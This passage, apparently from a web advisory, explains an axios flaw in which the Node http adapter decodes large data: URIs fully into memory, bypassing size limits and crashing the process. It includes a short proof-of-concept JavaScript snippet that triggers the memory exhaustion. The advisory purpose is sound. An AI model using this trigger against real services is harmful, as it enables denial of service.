Instead, the Node http adapter decodes the entire payload into memory (`Buffer`\/`Blob`) and returns a synthetic 200 response. This process bypasses `maxContentLength` \/ `maxBodyLength` which typically protect HTTP responses. As a result, an attacker can supply a large `data:` URI which prompts the process to allocate excessive memory, leading to a crash (DoS), even if the caller requested `responseType: &#8216;stream&#8217;`.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2968437263\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited using a large `data:` URI.<\/p>\n<pre><code class=\"\" data-line=\"\">const axios = require(&#039;axios&#039;);\nlet largeDataUri = &#039;data:text\/plain;base64,&#039; + &#039;A&#039;.repeat(1e6);\naxios.get(largeDataUri)\n.then((response) =&gt; {\nconsole.log(response.data);\n})\n.catch((error) =&gt; {\nconsole.error(error);\n});<\/code><\/pre>\n<p>In this example, a large `data:` URI is created and used in an axios GET request.
